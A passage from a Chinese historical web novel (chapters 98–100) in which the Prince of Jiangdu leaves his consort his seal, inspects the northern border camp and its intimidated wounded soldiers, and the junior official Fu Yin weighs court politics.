面对这些如同媒人一般要给她介绍儿媳妇人选的人情邻居,罗氏是无论如何都不能应的。她也只是与这些人说着一些含糊的话,久而久之,他们也知道自己说干了嘴皮子也改变不了她的态度了,再怎么想让傅殷当女婿也只能悻悻离去。毕竟,一家子还要干活找营生,不能将时间全然耗在罗氏这里。 这边傅殷因离家外出办差辞别母亲罗氏,另一厢的王宫之中也是一派离别的情形。承运殿前宽大的广场之上,数百甲士整装待发,为首之人手持黑底赤龙王旗,森森铁甲在光照下反射出一片刺眼的光亮。 这些都是从王宫侍卫以及江都各处衙署军队之中精挑细选出来随同江都王此次巡视边境的精锐之士,此刻已集结完毕,正在等候出发。 第98章 抵达 永延殿内, 百里漾穿衣已毕,正对着等身高的铜镜整理袍角,余光瞥见不远处床榻上正在熟睡的王妃, 脸上神情放缓,柔软无比,放轻脚步,走到床榻边缘挨着,静静盯着熟睡之人的面容瞧, 伸手拨开覆在她面容上的一缕散碎的青丝。 瞧见王妃眼下显出一点青黑之色以及被衾之下瓷白的锁骨肌肤上露出的一些红色的痕迹, 百里漾难免心虚脸热, 因为这都是他昨夜弄出来的“杰作”。这个年纪最是控制不住自己的时候,以前他没觉得有什么, 可每每将人拥入怀之后,后续的就往往不怎么受控制了。 谁也不知道此时百里漾面上的幽沉之下是一片懊恼。初禾在一旁看着, 面上是欲言又止,不知道是否要过去唤醒王妃起身给即将远行的大王送别。她纠结了好一会儿, 随后决定放弃这个念头。大王都不愿意打扰王妃休息, 她若是过去惊扰了, 怕是要受责罚的。 初禾站得远些,努力缩小自己的存在感,尽量不让自己的存在打扰大王王妃此刻的温存。距离出发的时辰还有一段时间,届时她再提醒大王便是。她关注着时辰,眼看着时辰要到了,她正要出声提醒,却见大王从袖口掏出什么放到了王妃的手里。正疑惑着,大王已起身朝殿外走去,她忙跟上去恭送。 “我不在的日子要好生照顾好王妃, 不得有任何闪失。”跨出殿门后,百里漾看了初禾一眼说道。 “是,奴婢必当万分用心伺候王妃。”初禾浑身一凛,当即垂首道。 颜漪是听到沉重悠远的号角声才悠悠醒转过来的,她的意识从混沌逐渐变得清醒,意识到这号角声是因为什么而想起时,她有一瞬间的慌乱,掀开被衾起身的动作引得外间的初禾进来,喜道:“王妃您醒了?” “大王出发了,为何不叫醒我?”颜漪眉头蹙起,这是王驾仪仗出宫才有的号角声,也就是说百里漾这时候已经出发了,她赶不上送别了。 初禾见王妃似是动怒,忙说道:“大王吩咐不让打扰王妃安睡,奴婢便没有如时唤醒王妃。”她自是知道王妃想要送别大王,只是大王不许还一直在床榻边守着,她也没有法子。 “罢了。”颜漪也只是一开始恼自己睡得沉没有能够起身为百里漾送行,百里漾不让初禾叫醒她,这事也不能怪在初禾身上,要怪只能怪已经离开的某个人。 若不是,若不是…… 初醒时意识还混沌,身体的知觉也没有完全跟上来,那时还不觉得有什么,这会儿人已经彻底清醒了,衣襟滑落看到自己身上的一些昨夜胡来留下的痕迹,加之身上确实酸软,红唇轻咬,恨不得百里漾就在眼前咬他一口。眼下是咬不到了,倒是想起昨夜忍不住时捉了那人的手臂来狠狠咬了好几下。 可心里恼过之后,看看这这因为空旷而显得空荡的寝殿,身边也只有初禾,颜漪心中的气恼很快就消散了,反而是想着这会儿百里漾是不是已经出了江都郡城门。这时即便是想追去城门看看也来不及了,颜漪心绪也只是低沉一会儿,便让初禾伺候她洗漱穿衣。 她的手掌微微使力撑在床榻上起身,忽然发觉掌心下硌着一个小东西,翻开被衾拾起放在掌心里细看,顿时默然了。 初禾更是讶然,好一会儿才找到自己的声音,“这、这是大王的私印吧。” 此物四四方方,寸余长宽,材质为金,上有玄龟盘卧,底部刻有“江都王玺”,此时正静静卧在颜漪的掌心之上。金印,还是百里漾的私印。这显然是百里漾在临走之前留下来的,用意如何,再明显不过了。 初禾再次震惊到不知道怎么言语了,只好默默看着自己的主子。 颜漪盯着掌心上的那枚小金印看了许久,轻轻吐出一口气,“取我的荷包过来。”她眼眸含笑,手上轻轻摩挲着小金印,之前的恼意通通消散,心里却空空,有些想那人了。 江都国有四郡之地,从南向北分别是平川郡、怀郡、江都郡、赤岭郡,四郡之中只有赤岭郡靠近离渊,所谓的江都边境即是赤岭郡最北的区域,那里过去就是离渊。为了防范离渊来袭,高皇帝即位后在此地修建了城池并驻兵在此以守卫边境。 百里漾他们此行就是从江都郡至赤岭郡最北处,直线距离七八百里,虽说走的是官道,但这时候的路没有百里漾前世时的平坦,真走起来这个距离少数也要增加一倍,即便是急行军也要走上两三日的时间。此行是为了巡视边境,也没有必要急行军,但速度也不会慢,按照出发前的打算,他们要在三日之后抵达边境。 一日后,百里漾等人进入了赤岭郡境内。途中经过一处溪流,旁有林木尤葱郁,却杂有叶黄如金,景致绮丽,令人眼前一亮。一群人当即决定在此处歇脚。因是暂作休息,停留不久,一行人多是去溪流取水,就地坐下或半靠着躺下,取出随身携带的干粮充饥。 “这才出来一日而已,心里就怪想家的,真是奇怪。”崔栋挑了一根果露在地面的树根坐下,嘴里咬着干巴巴又冷硬的干粮,觉得没滋没味的,感慨上了,“还是家里的饭菜香啊。” 干粮为了能够达到易储存不变质的效果,很多都做了脱水处理,干、硬是基本,只是保证最基本的裹腹需求,自然谈不上味道多好。本来百里漾也是这么吃的,听崔栋这么一说,顿时捡了一块小石子扔到他脚边,没好气地说道:“吃东西还恁多废话。” 百里漾一看崔栋那“狗狗祟祟”的眼神就知道这货想干什么,在崔栋快速伸手过来探他的干粮时及时一个“战术后仰”避开了,又扔了一块小石子过去,“干什么,我们拿的不都是一样的。怎么,别人手里吃的才香是吧?” “看看也不行。”崔栋悻悻收回手,刚要说什么突然鼻子动了动,似乎是闻到了什么,“等等,我好像闻到了一股香味。” 香味?周围又没有人生火埋锅做饭,哪里来的香味,他怎么闻不到?百里漾不说话了,看着崔栋这闻闻、那嗅嗅的,突然盯着一个方向猛瞧。 似乎是确定了什么,崔栋一下子就乐了,与百里漾说道:“我知道香味是从哪里来的了。你等着,我过去瞧瞧。”放下干粮,拍拍屁股就跑了。 百里漾抽了抽嘴角,不是吧,这货该不会是去抢下属的干粮吃吧? 崔栋没过多久就跑回来了,手里还拿着两个炊饼,准确的说应该是嘴里叼着一个,手里拿着的那个递给了百里漾,嘴里声音有些含糊道:“快拿着,这味道可香了,我就弄来两张。” “你从哪里拿来的?”百里漾接过炊饼,入手就发现这张炊饼质感很是酥软,香味也勾人,让人忍不住吞咽口水,便知这不是此行出行准备的行军干粮,是一些人自带的。 百里漾这次出来巡视边境带了不少人,除了负责随行护卫的五百甲士之外还带了一些官员。这么一大群人出来,还有数量不少的马匹,行程虽短,但加起来所需的吃喝嚼用也是很客观了。这些都由有司准备并在出发之前分发到每个人手上。 有条件的也可以从家中带干粮吃食,但随行的五百甲兵之中很大一部分皆住在军营,这次出来只能吃有司派发的行军粮,除了个别官衔较高的将官有这个条件自带之外,还有就是这次随行的一些官员。崔栋这两张炊饼八成就是从这些人中的某一个手里薅来的。 “嘿嘿,你猜我是从哪里得来的?”崔栋故意卖关子,他就是笃定百里漾没有看见他从谁手里拿来的炊饼。 百里漾懒得理他,省得这货越理越来劲,反正这货用不了多久也会说的。他低头咬了一口炊饼,有面食的软和又带着点嚼劲,油而不腻,令人口齿生津。尤其是有干粮对比,这块炊饼简直是人间美味。 崔栋一边大快朵颐一边观察百里漾的神情,看他的一点面部小动作就知道他是喜欢吃的,眉头得意地扬起来,“怎样?我拿来的东西焉能不好吃。这是傅殷从家中带来的。” “傅殷?”百里漾听到这个名字略有意外,但这不代表他对这个人彻底没了印象。 几个月前褚之彦之子褚宗铉搞出来的易田事件,让这人凸显了出来,因为他是范国相引荐的人,加上表现确实突出,百里漾当时还赏赐了傅殷二十金。百里漾记得易田之事后,傅殷被调去了管刑狱的衙署,也算是升官了。之后傅殷如何百里漾就没有多少关注了,不过这次巡视边境,傅殷能够被选出来随行,也足以证明了他的优秀。 “听说是傅殷母亲知道他要外出办差,连夜烙了让他在路上吃的。”崔栋说道,三两下他就将一整张炊饼吃完了,还意犹未尽地把目光转向了百里漾手中的,那眼神就很想吃。 “……”百里漾无语至极,伸脚踹了崔栋一脚,骂道,“你还能不能要点脸了,人家母亲担心儿子路上吃不好才连夜赶着做的炊饼,你倒好直接抢了两张过来。” 崔栋过去说要吃谁手上的干粮,谁还能不给么。去时路上的行程也不过两三日,即便按照一日三餐来计算,傅殷母亲给傅殷烙的炊饼数量是算好的,顶多也就十张,这货直接就拿了人家两张过来。 “诶诶诶,怎么能说是去抢呢?”崔栋挨了百里漾不轻不重的一脚不干了,为自己辩解,“我是很友好且和善地过去询问,再说了,我也没有吃独食,你这不也吃上了。” 也就是说,真要是说“抢”,崔栋是亲自过去“抢”,得到手的东西也分给了百里漾一份,等于说百里漾是“共犯”。这是把百里漾拉下水了啊。要么百里漾改说法,要么他就要承认自己是“共犯”。 百里漾无力了,真心觉得崔栋这几年跟着一道来江都属实是放飞自我了。没有了舅父舅母的管束,可把这家伙给浪的,这货要是去混纨绔子弟的圈子,一定是当大哥大的那个,混出湛京小霸王或者是江都小霸王的名头绝对是手拿把掐的。 懒得理崔栋,百里漾专心吃着自己手里的炊饼,心里倒是将傅殷这个名字再次记住了。 这边是百里漾与崔栋插科打诨的笑骂声,其余人偶尔看着也没有什么人敢过去,但内心却是无比渴望的。这很正常,那边的两位一个是江都王,一个是崔都尉,谁人不想在他们面前露脸呢?可没有人敢无故或未经传召过去,那是逾矩冒犯,是要被军法处置的,少说挨三十军棍。 由是如此,此刻围在傅殷身边的人皆对他羡慕不已。方才他们可都看见了,崔都尉跑来问傅殷要炊饼,直接拿了两张,其中一张可是给了大王。大王少不了要问炊饼的来处,这不就让傅殷在大王面前露脸了么。哪怕没有叫人过去,名字肯定记下了。 一张炊饼而已,一些人何止是羡慕,简直都要嫉妒了。 羡慕的人有,但好奇的也有,纯粹是好奇傅殷母亲给他做的炊饼有多好吃,连崔都尉都闻着味过来拿走了两张。他们闻着也香,连手上的干粮都食之无味了,但看着没剩几张了,不好意思问傅殷要,不过夸了两句“伯母的手艺真好”。 扼腕叹息,他们怎么就没有想到这一招,怪不得人说这读书人的脑子就是好使。 傅殷边笑着应付这些人,目光投向了远处江都王的所在,垂眸看到自己手中的炊饼,心中感叹是阿娘给他带来的好运。他也没有想到崔都尉会过来问他要炊饼,但这对他无疑是一件好事,使得他又一次间接在大王面前露脸。 在江都,要想往上走无论如何都绕不开一个人——江都王。一个江都官员若是能够得到江都王的赏识,那么他的仕途不敢说绝对一路顺畅,也不会出头无望。尤其是像他这样无出身无背景、从底层出来的人,若想出头只会别的人要难上十倍甚至百倍。 而让江都王记住他的名字仅仅只是打开了一个好的局面,接下来他需要证明自己的能力。之前褚氏子的易田事件还不足够,他需要更进一步地证明自己。 暂做休息之后,百里漾等人重新赶路,在次日黄昏时抵达了赤岭郡下辖的永定县。这里即是江都的最北处,再往北过去就是离渊。大衍在此处驻有重兵,以定襄将军为首,以抵御离渊的进犯。 江都王要来此地巡视,事先永定大营已收到了消息。以定襄将军褚之邑为首,在大营之外恭迎百里漾等人。那象征着王驾的旗帜伴随着滚滚烟尘和阵阵马蹄声出现,这些人皆精神一震,再次向前一段距离迎接,在为首之人勒马前半跪行礼道:“末将等恭迎大王。” 百里漾勒马,居高临下看着这群军将,目光在定襄将军褚之邑身上停留了几息后,说道:“诸位将军免礼。” 这些人起身之后,百里漾与崔栋等人也下马,一群人簇拥着百里漾进入永定大营。褚之邑表示大王一路过来辛苦,已将主帐腾出,请大王前往安置休息。百里漾拒绝了,说主帐乃一营之要,如今时局敏感,不好随意变动,给他另设营帐便是。褚之邑目光微闪,面上即可应了,当即令人去准备,请百里漾去主帐休息等候。 百里漾则道:“此前离渊来犯,仰赖我军将士奋勇杀敌,卫我边境,才得以使离渊退走,亦有不少将士伤亡。他们为大衍流血献身,如今何处,本王理当探望。” 永定大营的军将们闻言相互对视一眼,随后齐齐称赞百里漾仁义,爱恤士卒。这样的事情,没有人也没有任何理由能够拦着不让百里漾去。于是褚之邑走在前,领着百里漾等人往伤兵营去了。 伤兵营不算很大,伤兵的人数并不算特别多。此前的战事虽是离渊突袭,但永定大营这边在一开始的慌乱过后在将领的带领之下迅速组织兵力进行有效对抗,将离渊骑兵打跑,故而伤亡并不算严重。呈报给百里漾的军报上显示的数字是,轻伤一千二百余,重伤六百余,阵亡四百余,前后加起来两千余人。 这军报上的轻伤指的是战后经过治疗依旧能够上战场杀敌的,重伤则是指因伤致残或脏器等重大损伤不能再上战场的,而阵亡的则是彻底没了性命。阵亡加上重伤不能再上战场的总共千余人,这些构成了离渊来犯致使永定大营直接损失的兵力。 如今还在伤兵营之中的则是那些在战役中身负重伤的将士们。他们侥幸从鬼门关中逃得一条性命,但大多数人都留下了不可逆的终身损伤,日后即便是卸甲归田了,基本上对家庭劳作也不会有什么大的贡献,甚至很有可能成为家人的负累。这些士卒绝大部分都是平民百姓出身,重伤从战场上撤下来之后一直在伤兵营中养伤,想到未来要面对的惨淡人生,他们的心情一直很沉重,面上大多数时候都是愁云满布,提不起一丝笑容。 他们这副样子是打不了仗的,军营也不会这样一直养着他们,等他们的养伤好了,必然是要按照规矩遣返回原籍的。如今他们唯一能够想的事就是希望朝廷派发给他们的遣归银能够高一些,最好能够赐予几亩良田,这样即便回去了后半生也能有一点依靠。 “都好几月了,究竟要怎么安置我们,一直没个说法。” 伤兵营之中,类似这样的话题一直有人提起,但此前都没有一个准确的说法,时间越久,让他们心中越发的没底以及忐忑不安。他们都已经这样了,后半生大抵是没了指望,如今就等着派发遣归银给他们,可是迟迟没有动静,让人如何心安。他们大多都是底层士卒,没有什么消息来源,只能等,可等待永远都是一件煎熬的事情,因为充满了不确定性。 一会儿有消息说他们的遣返待遇按照以往,一会儿又说不如以往,一会儿又说要比以往高出一些。变来变去的,一直没有一个定数,让他们的心情上上下下的,实在是煎熬。 “不只是我们的遣归银,还有军功,相应的奖赏一直没有发下来。”角落里,有个躺着缺了左胳膊的士卒艰难地翻过身来,说了这么一句话。 周围静默了一瞬,很快有人惊问道:“到底是怎么回事,怎么连军功都没有赏赐下来?” 这话一时间引起了议论纷纷,一堆的声音之中传出这么一个声音,“据说是上报给了大王,之后便没了消息。” 第99章 伤兵营 营帐里又为之一寂。 这些兵卒倒不至于认为江都王会压下、削减甚至是吞掉他们的遣归银或抚恤金。他们自小接受的是“天地君亲师”思想教育, 江都王是君,在江都就等于天。而仁君爱民如子,加之江都王就封之后向来勤政不怠, 素有惠民之举,在江都的名声一直很好,这些兵卒即使真的遭遇遣归银被侵吞之事,也不会认为是江都王所为,必有奸佞小人从中作梗, 欺瞒大王。 但这些兵卒现在想的不是这个, 他们想的是这事都报到大王那里知道了, 说明大王重视他们这些伤兵,此时个个的激动之情都溢于言表。 “大王, 大王是要7给我们加遣归银么?” “大王,他会来看我们么?” 一开始不知道后面这句是谁说的, 营帐里的空气再一次停滞寂静了。距离近的人听到了,短暂的沉寂之后, 齐齐看向了那人, 没说话但眼神很直白, ——你是疯了么?竟敢奢望大王来看你。 那人被这么看着瞬间没了底气,也知道自己是痴心妄想了,嘴巴张了张,呐呐道:“我、我也只是想想,知道这是不、不可能,只求我们的遣归银能多发些就好了。” 人有妄想,但妄想过后也知道不可能,否则怎么叫做妄想。更切实际的遣归银才是他们该想的,他们所求就是银子以及能够保障后半生生活的良田、免赋税等东西。 “有大王关注, 至少不用担心我们的东西克扣了去。”他们大多都是底层士卒,平日里受到上层欺压,被扣了军粮饷只能忍耐退让。可如今他们都伤了残了,后半生就指望着这点银子东西了,若是还被克扣侵吞,他们还不如多杀几个离渊人、直接战死来得痛快。 这么一想,他们眼里都有了光,因为他们确实觉得有大王在关注,他们银子不会被克扣掉了。 “吵嚷什么呢?”营帐的帘子被大力猛然掀开,一名校尉走了进来,冷肃的目光往四下一扫,伤兵们顿时安静下来,不敢言语了。 “没说什么,这不是弟兄们即将返乡,日后十有八九要见不着了,想着这时候多说说话。”一名百夫长见状站出来赔笑着说道,又问,“曹校尉怎么有闲来卑下们这了,可是我们的遣归银要发下来了?” 眼看着这些伤残兵卒一个个的目光都看向了他,曹校尉心下冷笑了一声,若是平时他少不了要骂一顿,这会儿却来不及与这些人计较了,顺着什长的话说道:“遣归银很快就能发下来,你们也不用着急。也不知道你们走的什么运,大王竟然要来这里看望你们。” 伤兵们刚为遣归银的消息为欢喜雀跃,马上被下面的消息镇住了,一开始狂喜瞬间转变为疑惑、不可置信,“大王怎么会来,校尉莫不是在诓我等吧?” “大王何等尊贵之人,岂会来到我们这地方?” “大王当真来看我们?” 伤兵们不相信,哪怕原先有想过大王来看他们,可实际上他们自己心里都不相信会有这样的事情出现。 曹校尉哪里知道大王为什么会想来看伤兵的情况,他心里也恼得厉害,可人已经在来的路上了,很快就会到这里。他提前来就是为了震住这些出身低下的卑贱之人,让他们知道什么话该说,什么话不该说。 “肃静,王驾不时便至,尔等准备接驾。”曹校尉凶狠带着浓浓警告的目光再次扫视过这里的每一个人,“大王此次巡视边境,事务繁忙,时间何等宝贵,能抽出片刻闲暇驾临此地看望尔等,尔等自该知情知趣,懂事些,别因一些鸡毛蒜皮的小事而耽误了大王功夫才是。” 伤兵们被他警告更似威胁的眼神以及这一番看似平淡却含着深意的话震颤得基本瑟缩回去,原先的惊喜激动如同被一盆冰冷刺骨的冷水浇灭,剩下的只是惊惧。 曹校尉对他们的反应很满意,最后再扫过一些人的脸,眯起的眼睛配上里面的冷色,显得格外狞厉,也成功震慑住了这些伤兵们。 该说的话已经说了,想到江都王就快到这里,曹校尉一掀帘帐,匆匆走了。留下这群伤兵沉默着面面相觑,有些茫然,有些恐惧,有些愤怒,更多的是无力妥协,最终选择了退缩。 等百里漾来到伤兵营的时候,见到的就是一群对他的到来不胜惶恐、感激却惊疑不安的伤兵们。 战场之上刀剑无眼,对敌纯粹就是物理意义上的攻击,比拼的是武力,拼的是谁更狠更豁得出去,一旦畏缩只有死路一条。从战场厮杀抬下来的伤兵,重伤者缺胳膊少腿是很常见的,更有甚者面容都被狰狞的伤痕毁掉,瞧着极为可怖。 入目皆是如此,好些伤兵包扎的布带上还残存有血迹。百里漾心下震撼又涩然,他不是第一次看到这样的景象,但每次都是难忍心酸和悲悯。 当百里漾上前询问他们的伤势时,因为彼此地位的天差地别,这些伤兵无不表现出受宠若惊、诚惶诚恐的姿态,眼里却是激动得泪花闪烁,嘴唇颤动着说着磕磕绊绊的话回答。 无论百里漾问什么,他们都说好,说他们从战场上撤下来后医匠救治及时,上面的将军也不吝药物给他们,吃食都比往时好了许多,快赶上顿顿有荤腥了。 百里漾身边此时随行的很大一部分都是永定大营的将官们。听到百里漾询问这些伤兵的问题问得如此之细,大到粮饷物资派发,小到每日具体煮了什么菜色,不少人忍不住眉心重重一跳,紧紧盯着被询问到的伤兵,心下也重重擂起了鼓。等如愿听到想听的答案时,心口提起来的大石头才落回原位。 可这也何时是个头?江都王每问一次,他们都要提心吊胆一次,如此反反复复,还没怎么着就要这心脏就受不住了。 “你可是有话要对大王说?”崔栋对于眼前的景象见怪不怪,他陪同在百里漾身边,看着这些伤兵害怕、磕磕绊绊地回话,几乎不做声,见有些人都怕得直打哆嗦了,他才出声几句缓解气氛。 崔栋年轻又长得不差,因为从小是被崔大将军扔到军营里从小练出来的,在军营上下都混得开,他很懂这些兵卒们的心理,知道他们敬畏百里漾,三不五时说话替他们解围、缓解紧张。 伤兵们不知道崔栋是谁,但看到他是跟着大王来的,估计也是不得了的大官。若是换作平时他们面对的是崔栋与他们说话也会一样会害怕,可现在眼前有个江都地位最尊崇的百里漾顶着,他反倒没这么显眼了。因为他偶尔说几句松快话缓解气氛,一时间伤兵们看他都是感激的眼神,觉得他和善可亲。 乍听闻他主动开口询问,被询问的伤兵一时愣住,待反应过来后神情激动,很想说些什么,冲到嘴边的话却在余光扫到面前的那一群人之后生生咽了回去,只垂首道:“没、没有,只是小人头一次见到真的大王,不敢相信罢了。” 崔栋闻言挑了挑眉,扫了一圈这些永定大营的将官后,与百里漾对视一眼,没有再继续追问下去。 百里漾便也当做不觉有异。 “大王,这些兵卒子都是些粗鄙之人,有幸得见大王真颜,激动之下不免惶恐不安,笨嘴拙舌,未免有失礼冲撞大王之举,还请大王勿怪。”短暂的安静过后,褚之邑站出来说道。听着像是在这群伤兵们解围说好话。 他一开口,立马有人站出来劝百里漾道:“大王仁善,爱民如子,以千金之躯驾临此地,是伤兵之幸亦是我等之幸。只是此地难免污糟,若是因此损伤大王贵体,我等实是惶恐难安。” 此言一出,赢得纷纷不少人附和,就连百里漾自己带来的人之中也有不少赞同的。 这时候的人信奉古人言,认为君子不立于危墙之下。百里漾作为江都之主,仁爱恤民固然是好事,可伤兵营这块地方到底污糟,若是待久了过了病气就不好了。 百里漾没有反对,顺了他们的意。不只是他们不想自己在伤兵营多待,他的存在对于这些伤兵来说也是困扰,让他们神经紧绷,战战兢兢,唯恐说错了一句话。 一群人恭送百里漾出了伤兵营,不管是谁心下都暗松了一口气。他们也不知道堂堂江都王会是这样的啊,换作别的人即便是要展现仁主形象也顶多是叫几个伤兵过来嘘寒问暖一番,他自己倒好,亲自往伤兵营里钻,从治伤的药物问到吃什么穿什么。照他这个问法,不管有没有问题那都是问题,谁能遭得住啊。 好在这些伤兵没有说什么不好的话,他们此前也没有做什么过火的事情。 离开伤兵营之后,百里漾吩咐人将此行从江都带来的一些镇伤止痛的药物以及日用物资给伤兵们发下去。之后他也不着急听褚之邑等人的话去休息,而是要求他们带着他在军营里转一圈。 这个要求也是不能拒绝的。褚之邑等人即便再不愿意百里漾在军营里瞎逛,可他是江都王,从名义上江都的一草一木都属于他,军营也是效力于他,他们这些将领也得听命于他。 逛一圈军营下来后,天都黑了,军营各处开始点上火把、篝火。百里漾才开口说要去休整,让这些陪同的永定大营将领各自散去,并说他此行带来的美酒佳肴,夜间行宴要犒赏诸将士。 因为百里漾不肯住主帐,褚之邑令人另外新建了一处大帐给他安置,崔栋的住处也在边上。放好行李等物品之后,崔栋跑过来,见果盘上摆了新鲜的水果,抓了一个在衣服上擦擦后作势抛给百里漾,被拒绝后往嘴里一塞就开啃,边啃边道:“永定大营今日这一瞧,没看出什么大毛病来。” “褚之邑这么些年的定襄将军也不是白当的。”百里漾接口道。他正将自己的衣物拿出来摆放,别的都有随行亲卫替他整理放置了,唯独这衣物是出发前王妃给他收拾的,他便想自己动手收拾。 褚之邑出身怀郡褚氏,虽说此人不爱文爱武,可到底是褚氏出身的,褚氏培养子弟的那一套他都经历过学过,打起仗来除了勇猛比起其他将领更懂得战术以及灵活变通,这才一步步升到了如今的地位还数年没有被撼动,可见其本事。 第100章 行宴 褚氏如今的情形不太好, 可在江都乃至整个大衍依然能够稳稳坐住世族前列的位置,除了依靠褚之彦之外,还有一个很大的原因就是褚之邑。 哪怕与褚氏的立场不对付, 百里漾也不得不认可褚之邑领军打仗的能力,这么些年褚之邑带领永定大营的将士们守住赤岭郡这道抵御离渊的防线,使得离渊不敢大肆南下进犯,他是有很大功劳的。这也是百里漾就封江都之后,哪怕褚氏明摆着与他不对付, 他也没有撤掉褚之邑这个定襄将军的缘故。 但永定大营的存在实在太过重要, 十万将士驻扎于此, 百里漾并不愿意也不能让褚之邑这样一个打上了定安王标签的褚氏之人一直掌控这里。只是眼下离渊那边明显不太平,临阵换将风险太大, 百里漾并不愿意有太大的动作。此番巡视不过是想查出一些弊端,确保军中诸将士能够以最好的状态迎战离渊来犯之敌。 “那些伤兵不太对劲, 抽个时间再找个人去打探一下。”三五口啃完手里的水果,崔栋找了块干布擦了手后说道。 百里漾也觉得他们不对劲。但这个不对劲是指那些伤兵似乎有话要跟他说, 但是显然因为心存顾忌而不敢张口。什么事情能够使他们如此纠结挣扎最后却放弃, 只怕是涉及到一些人的利益, 说了就会损害这些利益,担心招致获得利益一方的报复。 对此百里漾能够理解他们的顾虑。毕竟对于这些人而言, 他只是偶然出现在他们人生里的一个意外的过客,固然他拥有绝对的能力帮助他们解决当前所遇到的问题,他们可以在他的羽翼之下躲避风雨,可他走了之后呢?周围那群盘踞在此地被夺走了食物、早已虎视眈眈的豺狼不会一拥而上将他们撕碎?都说“县官不如县管”、“山高皇帝远”,就是这个道理。 “找谁去合适?”崔栋也知道这个理,脑子里已经开始在盘摸合适的人选了。 “这事还不着急。”百里漾必然是要在这次随行的人员之中选人的,毕竟这事可能会牵扯出永定大营里的一些见不得光的事情, 让军营之中忠心于他的将领去查并不妥当,容易打草惊蛇不说,还会得不到完整的事件真容。也不能立即就派人去查。他们初来乍到,许多事情都不了解,又是永定大营的众人神经最紧绷的时候,少有风吹草动,什么蛇都会惊走完了。 崔栋懂了,他想了一阵,“得选一个出身普通些的,比较容易与兵卒子们拉进关系。”这个人还得不怎么起眼,省得一开始就让人关注到。 “我想到一个人,他就很合适,过两日再叫他去办这事。”百里漾脑海里已经有了一个名字,但并不着急叫人过来,总归先看看再说。 “你东西收拾完了?”过了一刻钟,百里漾看着快把他果盘给薅光的崔栋,无语问道。 “早收拾完了。”崔栋吐出最后一个果核,对百里漾慢腾腾收拾并件件都要叠好的讲究表示嫌弃,“团吧团吧放衣柜里便是,一件件叠最后还不是要翻乱。” “……”百里漾早就知道崔栋这个人是个十足的粗汉,但每次听到他这种“糙汉”发言都接受无能,没好气道,“收拾好了就去睡觉,夜里还有一场宴会要你我到场。” 薅了一果盘水果的崔栋闻言遁走,出了这个帐篷右转几步进了另一个帐篷睡觉去了。 同样歇息的还有同行的官员们。连续赶路将近三日,一入永定大营并没有立即歇息而是将偌大一个军营里外逛了个遍,众人身心皆疲累,安放好行李之后,此时皆躺在通铺上休息。有人叫嚷着自己的腰僵得厉害,让同僚帮忙着按压疏通的。他们皆官小位卑,没有如百里漾、崔栋那般的待遇可以单独住一个帐篷,现下是七八人挤作一处,躺在一个大通铺上。 “大王也真是的,伤兵哪日看不行,非得一进门就奔去。那块地方不知道躺过多少死去的兵卒,地上、被褥到处都是发黑的痕迹,还隐隐弥漫着一股腐烂的臭味。这样的地方多的是污秽,大王千金之躯,若是因此染了病该如何是好?”才躺下不久,就有人“抱怨”道。这人自然不敢说百里漾的不是,而是调转话头对准了伤兵们,又以为大王着想的名义说了这么一通话出来。 可周围人少说都是在官场混迹了两年的人,岂能听不出来他如此浅显的抱怨之辞。他们可不敢随便接这话,有些当做没听到,有些则打着哈哈含糊混过去,“大王素来仁善,有此举动并不稀奇”。别的话是一点也不敢多说,他们可没有傻到去议论大王如何行事。 那人看其他人都不接他的话茬,回想自己方才说了什么,不由有些心慌,但又觉得自己说的没有错。本来就是,一群出身卑贱之人,遣归银发到他们手上就该感恩戴德了,哪里还值得他们亲自去看望。但他到底还不算傻,没有把这些心里话说出来。 “仲康,怎么一直不说话,是赶路累坏了?”这会儿刚躺下,正是浑身酸痛一下子涌上来的时候,周围还有说话声,没有人能够马上就睡着。一名中年官员目光四下转看,看到了似乎在拧眉沉思的傅殷,不由问道。 “还好,只是头一回这样长时间的骑马,双腿就、就免不了有些火辣辣的。”傅殷回神,颇有点难以启齿说道。 周围人闻言顿时就明白傅殷是哪个部位火辣辣的,起头问的那个官员不由笑道:“不常骑马的人突然间长时间颠簸在马上,确实会如此。待日后出差公干的次数多了,你也就能习惯了。不过那地方确实尴尬,为避免失礼于人前,你涂些伤药上去会好许多。” 这名中年官员是傅殷转去刑狱衙门后一个颇为照顾他的上官,知道傅殷出身贫寒,马这样的金贵物傅殷在做官之前是很少接触的,自然也就谈不上什么骑术了。 对方是好意,傅殷道谢,也说自己会记得涂的。 中年官员见他神情恹恹,看起来没有什么精气神,猜想他是赶路困倦,也不再寻他说话。而这几日的赶路确实辛苦,再晚些还有宴席,渐渐的也无人说话,皆躺下歇息了。 傅殷躺在大通铺上,耳边是好几人的鼾声。他的身体确实很困倦,但脑子却是很清明,思绪纷杂。此前百里漾去伤兵营看望,他自然也在随行人员之列。只是他在其中实在不怎么显眼,也一直不做声,就没有人关注到他,他便逐一观察周围之人,主要是三方——江都王、伤兵们以及褚之邑等永定大营将领。 傅殷在没有从江都郡国学毕业、授官入仕之前,许多有关江都权力上层的信息他是无从知晓或者只是听说过名字仅此而已的,其中就包括永定大营。甚至在被确定为此次江都王巡视边境的随行人员之前,他对永定大营的情况也不甚了解。但在来之前,他做了功课。 永定大营的设立初衷就是为了抵御离渊的进犯,它设立的时间还在江都国之前,只是在陛下给当时的五皇子漾赐封时将其划入了江都的辖制之内,兵马、粮草调动皆划归江都,江都王即为永定大营的统帅。但江都王年少就封,许多事务没有上手,不宜大动,故而江都这几年来大体上平稳,偶有小部分震荡,而永定大营这样事关抵御离渊军国大事的地方,这些年更是几乎没有什么变动。 但光知道这些还不够,在临行之前,傅殷还特地去拜访了范国相。范国相对他的到来并不意外,也乐意与这个他看好的后辈详细分说,最后叹道:“非是大王不想动永定大营,而是不能动。之前几年不能,如今短时间内怕是也不好动了。” 话都说到这了,傅殷还有什么不明白的。 永定大营关乎兵权,这么紧要的地方,江都王自然不会愿意让身为褚氏子的褚之邑一直把控着,一定局面失控,这等同于被掐住了咽喉。以前不动是因为江都王初来,并未真正坐稳位子把控权力,如今江都的局面已然厘清,是该腾出手整顿永定大营了。可偏偏这时候又碰上了离渊内部争夺汗王之位引发的动荡局面,眼看着战事将起,这时候若动了永定大营可不是一个明智之举。 褚之邑年少从戎,数立战功,累升至四品定襄将军之位,他在此处经营十数载,人脉声望皆不可小觑。若无缘无故动他的位子,恐引发动荡。以江都王顾全大局的思虑,估计是想要徐徐图之,先拔擢永定大营之中忠诚可信的将领,剪除褚之邑派系的人马,最后再寻机改换定襄将军的人选。 